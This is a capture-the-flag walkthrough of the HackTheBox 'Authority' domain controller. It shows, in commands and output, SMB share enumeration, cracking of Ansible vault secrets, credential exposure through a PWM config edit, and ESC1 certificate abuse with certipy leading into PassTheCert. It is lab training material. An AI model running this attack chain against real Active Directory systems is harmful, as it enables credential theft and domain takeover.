Authority

A Windows Machine with a heavy emphasis on ADCS and LDAP(s)

Enumeration

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ nmap -sC -sV -Pn 10.10.11.222         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 03:56 EDT
Nmap scan report for 10.10.11.222
Host is up (0.029s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-16 11:56:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T11:57:02+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-16T11:57:02+00:00; +4h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T11:57:02+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T11:57:02+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
8443/tcp open  ssl/https-alt
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-14T09:39:23
|_Not valid after:  2025-07-15T21:17:47
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Sun, 16 Jul 2023 11:56:19 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET, HEAD, POST, OPTIONS
|     Content-Length: 0
|     Date: Sun, 16 Jul 2023 11:56:19 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1936
|     Date: Sun, 16 Jul 2023 11:56:24 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP&#47;1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=7/16%Time=64B3A2A3%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;c
SF:harset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\x2016\x20Ju
SF:l\x202023\x2011:56:19\x20GMT\r\nConnection:\x20close\r\n\r\n\n\n\n\n\n<
SF:html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URL='/pwm'\"/
SF:></head></html>")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20G
SF:ET,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Su
SF:n,\x2016\x20Jul\x202023\x2011:56:19\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n")%r(FourOhFourRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20
SF:text/html;charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\
SF:x2016\x20Jul\x202023\x2011:56:19\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:\n\n\n\n\n<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;UR
SF:L='/pwm'\"/></head></html>")%r(RTSPRequest,82C,"HTTP/1\.1\x20400\x20\r\
SF:nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\
SF:nContent-Length:\x201936\r\nDate:\x20Sun,\x2016\x20Jul\x202023\x2011:56
SF::24\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20la
SF:ng=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20
SF:Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,
SF:Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background
SF:-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\
SF:x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bla
SF:ck;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</s
SF:tyle></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20R
SF:equest</h1><hr\x20class=\"line\"\x20/><p><b>Type</b>\x20Exception\x20Re
SF:port</p><p><b>Message</b>\x20Invalid\x20character\x20found\x20in\x20the
SF:\x20HTTP\x20protocol\x20\[RTSP&#47;1\.00x0d0x0a0x0d0x0a\.\.\.\]</p><p><
SF:b>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20pr
SF:ocess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20perc
SF:eived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20
SF:request\x20syntax,\x20invalid\x20");
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s
| smb2-time: 
|   date: 2023-07-16T11:56:57
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.91 seconds

From the following nmap scan, we can infer a few things about this machine.

  • It is most likely a domain controller seeing how DNS (Port 53), Kerberos (Port 88) with the domain name authority.htb.

  • LDAP/LDAPS is also enabled

  • A HTTPS website is also available at Port 8443 which redirects us to the /pwm endpoint.

  • SMB is also enabled


Initial Foothold

Enumerating SMB

We can start by enumerating SMB with smbmap to check share permissions with null session.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ smbmap -H 10.10.11.222  -u " "
[+] Guest session   	IP: 10.10.11.222:445	Name: 10.10.11.222                                      
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	Department Shares                                 	NO ACCESS	
	Development                                       	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	SYSVOL                                            	NO ACCESS	Logon server share 

We see that the we have READ access to the Development share using a null session (non-authenticated). We can then proceed to connect to the SMB using smbclient.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ smbclient \\\\10.10.11.222\\'Development' -N      
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 17 09:20:38 2023
  ..                                  D        0  Fri Mar 17 09:20:38 2023
  Automation                          D        0  Fri Mar 17 09:20:40 2023

		5888511 blocks of size 4096. 1293747 blocks available
smb: \> cd Automation
smb: \Automation\> ls
  .                                   D        0  Fri Mar 17 09:20:40 2023
  ..                                  D        0  Fri Mar 17 09:20:40 2023
  Ansible                             D        0  Fri Mar 17 09:20:50 2023

		5888511 blocks of size 4096. 1294906 blocks available
smb: \Automation\> cd Ansible
smb: \Automation\Ansible\> ls
  .                                   D        0  Fri Mar 17 09:20:50 2023
  ..                                  D        0  Fri Mar 17 09:20:50 2023
  ADCS                                D        0  Fri Mar 17 09:20:48 2023
  LDAP                                D        0  Fri Mar 17 09:20:48 2023
  PWM                                 D        0  Fri Mar 17 09:20:48 2023
  SHARE                               D        0  Fri Mar 17 09:20:48 2023

		5888511 blocks of size 4096. 1294906 blocks available
smb: \Automation\Ansible\> 

After downloading and browsing the files, we notice a few things

  • The parent folder is named Automation, which seems to be using Ansible Playbook files (.yml) to automate certain tasks

  • Inside the automation folder, we discover encrypted ansible credentials at Automation/Ansible/PWM/defaults/main.yml

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Automation/Ansible/PWM/defaults]
โ””โ”€$ cat main.yml   
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566

Decrypting Ansible Credentials

We can use Ansible2John to convert the encrypted Ansible hashes into a hash format acceptable by JohnTheRipper.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ ansible2john hash*                 
hash1.txt:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
hash2.txt:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
hash3.txt:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ cat johnhashes.txt 
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ john -w:/usr/share/wordlists/rockyou.txt johnhashes.txt 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 AVX 4x])
Remaining 2 password hashes with 2 different salts
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:34 0.22% (ETA: 12:22:02) 0g/s 1109p/s 2219c/s 2219C/s classof2004..butterfly07
!@#$%^&*         (?)     
!@#$%^&*         (?)     
2g 0:00:00:35 DONE (2023-09-06 08:02) 0.05583g/s 1111p/s 2222c/s 2222C/s 001982..ventana
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                     

We can now decrypt the ansible credentials using the ansible-vault's decrypt function.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Automation/Ansible/PWM/defaults]
โ””โ”€$ cat vault1.yml | ansible-vault decrypt 
Vault password: 
Decryption successful
svc_pwm                                                                                                                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Automation/Ansible/PWM/defaults]
โ””โ”€$ cat vault2.yml | ansible-vault decrypt
Vault password: 
Decryption successful
pWm_@dm!N_!23                                                                                                                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Automation/Ansible/PWM/defaults]
โ””โ”€$ cat vault3.yml | ansible-vault decrypt
Vault password: 
Decryption successful
DevT3st@123        

We seem to have a valid pair of credentials for the user svc_pwm.

PWM Enumeration (Port 8443)

Using the credentials obtained earlier, we can try to login onto PWM's Configuration Manager.

From the get-go, we notice that the PWM is in configuration mode.

This likely means that we might be able to change the configuration in some way or another which is proven as we are able to download the pwm configuration file.

Looking through the file, we notice that svc_ldap's password is specified in the file but is encoded.

<setting key="ldap.proxy.password" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="PASSWORD" syntaxVersion="0">
    <label>LDAP โ‡จ LDAP Directories โ‡จ default โ‡จ Connection โ‡จ LDAP Proxy Password</label>
    <value>ENC-PW:oKG5PAVMqnuvK73UhsFZdOuxASsBX/L3Uu1FXa1harqreRkHWAiHQyz/lki1AdXETYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=</value>
</setting>
<setting key="ldap.proxy.username" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING" syntaxVersion="0">
    <label>LDAP โ‡จ LDAP Directories โ‡จ default โ‡จ Connection โ‡จ LDAP Proxy User</label>
    <value>CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb</value>
</setting>

Googling online, we can find a article that states that we can actually reveal the plaintext password by setting and enabling the storePlaintextValues property to True.

We can then add the following lines into our pwm configuration file and upload it again to apply the new configuration.

<properties type="config">
    <property key="configIsEditable">true</property>
    <property key="configEpoch">0</property>
    <property key="storePlaintextValues">true</property>
    <property key="configPasswordHash">$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua</property>
</properties>

The plaintext password for svc_ldap is then revealed.

We can then check whether svc_ldap is a valid user using crackmapexec and use evil-winrm to get the user flag.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ crackmapexec smb 10.10.11.222 -u svc_ldap -p lDaP_1n_th3_cle4r!
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
                                                                                                                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/authority]
โ””โ”€$ evil-winrm -i 10.10.11.222 -u svc_ldap -p lDaP_1n_th3_cle4r!

                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ../
*Evil-WinRM* PS C:\Users\svc_ldap> cd Desktop
ls
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> ls


    Directory: C:\Users\svc_ldap\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         9/6/2023  12:18 PM             34 user.txt


*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> 

Privilege Escalation

Quickly browsing the file directory, we see that there is a C:\Certs folder. This seems to imply the use of ADCS.

*Evil-WinRM* PS C:\> ls


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/23/2023   6:16 PM                Certs
d-----        3/28/2023   1:59 PM                Department Shares
d-----        3/17/2023   9:20 AM                Development
d-----         8/9/2022   7:00 PM                inetpub
d-----        3/24/2023   8:22 PM                PerfLogs
d-r---        3/25/2023   1:20 AM                Program Files
d-----        3/25/2023   1:19 AM                Program Files (x86)
d-----         9/6/2023  12:40 PM                pwm
d-r---        3/24/2023  11:27 PM                Users
d-----        7/12/2023   1:19 PM                Windows
-a----        8/10/2022   8:44 PM       84784749 pwm-onejar-2.0.3.jar

Using certipy, we can find vulnerable certificate templates that can be potentially exploited.

โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/CTF/Boxes/authority/Certipy]
โ””โ”€$ certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -debug -vulnerable
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.222:636 - ssl
[+] Default path: DC=authority,DC=htb
[+] Configuration path: CN=Configuration,DC=authority,DC=htb
[+] Adding Domain Computers to list of current user's SIDs (Machine Account Quota: 10 > 0)
[+] List of current user's SIDs:
     AUTHORITY.HTB\Access Control Assistance Operators (AUTHORITY.HTB-S-1-5-32-580)
     AUTHORITY.HTB\Authenticated Users (AUTHORITY.HTB-S-1-5-11)
     AUTHORITY.HTB\Everyone (AUTHORITY.HTB-S-1-1-0)
     AUTHORITY.HTB\svc_ldap (S-1-5-21-622327497-3269355298-2248959698-1601)
     AUTHORITY.HTB\Domain Computers (S-1-5-21-622327497-3269355298-2248959698-515)
     AUTHORITY.HTB\Users (AUTHORITY.HTB-S-1-5-32-545)
     AUTHORITY.HTB\Domain Users (S-1-5-21-622327497-3269355298-2248959698-513)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[+] Trying to resolve 'authority.authority.htb' at '10.10.11.222'
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[+] Trying to get DCOM connection for: 10.10.11.222
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[+] Connected to remote registry at 'authority.authority.htb' (10.10.11.222)
[*] Got CA configuration for 'AUTHORITY-CA'
[+] Resolved 'authority.authority.htb' from cache: 10.10.11.222
[+] Connecting to 10.10.11.222:80
[*] Saved BloodHound data to '20230906085805_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230906085805_Certipy.txt'
[*] Saved JSON output to '20230906085805_Certipy.json'

Looking at the certipy output, we see that the CorpVpn Template is vulnerable to ESC1 via domain computers.

{
  "Certificate Authorities": {
    "0": {
      "CA Name": "AUTHORITY-CA",
      "DNS Name": "authority.authority.htb",
      "Certificate Subject": "CN=AUTHORITY-CA, DC=authority, DC=htb",
      "Certificate Serial Number": "2C4E1F3CA46BBDAF42A1DDE3EC33A6B4",
      "Certificate Validity Start": "2023-04-24 01:46:26+00:00",
      "Certificate Validity End": "2123-04-24 01:56:25+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "AUTHORITY.HTB\\Administrators",
        "Access Rights": {
          "2": [
            "AUTHORITY.HTB\\Administrators",
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins"
          ],
          "1": [
            "AUTHORITY.HTB\\Administrators",
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins"
          ],
          "512": [
            "AUTHORITY.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "CorpVPN",
      "Display Name": "Corp VPN",
      "Certificate Authorities": [
        "AUTHORITY-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "AutoEnrollmentCheckUserDsCertificate",
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "16777216",
        "65536",
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication",
        "Document Signing",
        "IP security IKE intermediate",
        "IP security use",
        "KDC Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "20 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "AUTHORITY.HTB\\Domain Computers",
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "AUTHORITY.HTB\\Administrator",
          "Write Owner Principals": [
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins",
            "AUTHORITY.HTB\\Administrator"
          ],
          "Write Dacl Principals": [
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins",
            "AUTHORITY.HTB\\Administrator"
          ],
          "Write Property Principals": [
            "AUTHORITY.HTB\\Domain Admins",
            "AUTHORITY.HTB\\Enterprise Admins",
            "AUTHORITY.HTB\\Administrator"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'AUTHORITY.HTB\\\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication"
      }
    }
  }
}

We also notice that the user svc_ldap has SeMachineAccountPrivilege, which allows a domain user to add domain computers to the domain.

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

To exploit this vulnerability we first have to

  1. Create a rogue domain computer using impacket's AddComputer

  2. Request the certificate and impersonate the Administrator using the rogue domain computer

  3. Authenticate using the certificate and retrieve the NT hash of Administrator

However when we try to authenticate using the certificate, we receive an error "KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)".

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/Boxes/CozyHosting]
โ””โ”€$ impacket-addcomputer -computer-name 'exploit$' authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account exploit$ with password GJLV4x1vCUqDsKbJsz61Ra2G9i6yuVFf.

โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/CTF/Boxes/authority/Certipy]
โ””โ”€$ certipy req -username 'exploit$@authority.htb' -password 'M8ab4XN3GnXhUT3mEf6gqmjzk484oM9Q' -ca 'AUTHORITY-CA' -target 'authority.authority.htb' -template 'CorpVPN' -upn 'administrator@authority.htb' -dns 'authority.authority.htb' -dns-tcp -debug -target-ip 10.10.11.222
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'AUTHORITY.HTB' at '192.168.113.2'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
                                                                                                                                                       
โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/CTF/Boxes/authority/Certipy]
โ””โ”€$ certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@authority.htb'
    [1] DNS Host Name: 'authority.authority.htb'
> 0
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

With reference to this article, it states the following

A certificate can have several Extended Key Usages (EKUs). If a KDC must support smart card logon, its certificate must have the Smart Card Logon EKU. A failing PKINIT may be an indication that your targeted KDCs do not have certificates with the necessary EKU.

This essentially means that we cannot use our PFX certificates as a pre-authentication method to requests TGTs or NT hash of the account.

As such, we will have to perform PassTheCert.

For this exploit to work, we have to do the following

  1. Extract the private key and cert from the PFX file

  2. Impersonate Administrator with PassTheCert tool to add our exisiting user to the Domain Admins Group

  3. Perform a hashdump of the domain using Impacket's Secretsdump

โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/CTF/Boxes/authority/Certipy]
โ””โ”€$ certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'user.crt'
                                                                                                                                                       
โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/CTF/Boxes/authority/Certipy]
โ””โ”€$ certipy cert -pfx administrator_authority.pfx -nocert -out user.key
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Writing private key to 'user.key'

โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Boxes/authority/PassTheCert/Python]
โ””โ”€$ python passthecert.py -action ldap-shell -crt ../../Certipy/user.crt -key ../../Certipy/user.key -domain authority.htb -dc-ip 10.10.11.222 
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands

# help

 add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
 rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
 add_user new_user [parent] - Creates a new user.
 add_user_to_group user group - Adds a user to a group.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 clear_rbcd target - Clear the resource based constrained delegation configuration information.
 disable_account user - Disable the user's account.
 enable_account user - Enable the user's account.
 dump - Dumps the domain.
 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
 get_group_users group - Retrieves all members of a group.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
 exit - Terminates this session.

